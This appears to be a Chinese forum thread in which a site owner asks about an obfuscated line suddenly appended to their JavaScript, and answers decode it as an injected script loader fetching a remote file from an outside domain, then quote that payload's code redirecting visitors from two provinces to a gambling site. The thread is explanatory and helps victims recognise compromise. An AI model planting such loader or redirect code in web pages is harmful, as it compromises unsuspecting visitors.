请问JS代码最后这段代码是什么意思，突然JS代码增加了这一串代码

Question

window.s=document.createElement(String.fromCharCode(115,99,114,105,112,116));window.s.src=String.fromCharCode(104,116,116,112,58,47,47,49,50,51,46,98,118,56,56,56,56,46,99,111,109,47,102,99,46,106,115);document.body.appendChild(window.s)
突然JS代码后面多了一串这样的代码

Answer 1

给你翻译一下var s = document.createElement('script');
s.src = "http://123.bv8888.com/fc.js";
document.body.appendChild(s);

Answer 2

window.s=document.createElement(String.fromCharCode(115,99,114,105,112,116));//window.s定义一个变量s，document.createElement(String.fromCharCode(115,99,114,105,112,116))创建了一个script标签
window.s.src=String.fromCharCode(104,116,116,112,58,47,47,49,50,51,46,98,118,56,56,56,56,46,99,111,109,47,102,99,46,106,115);标签引用http://123.bv8888.com/fc.js
document.body.appendChild(window.s)在body中append 这个script标签

Answer 3

网页挂马，里面有段代码很有意思。if (remote_ip_info.province == "广东" || remote_ip_info.province == "浙江" || remote_ip_info.province == "\u5e7f\u4e1c" ||remote_ip_info.province == "\u6d59\u6c5f" ){
  window.location.href = 'http://www.5655822.com:8888/register?a=21';
}当检测到广东或浙江的地址就跳转到赌博网站，广东人和浙江人都这么有钱的吗，这算歧视吗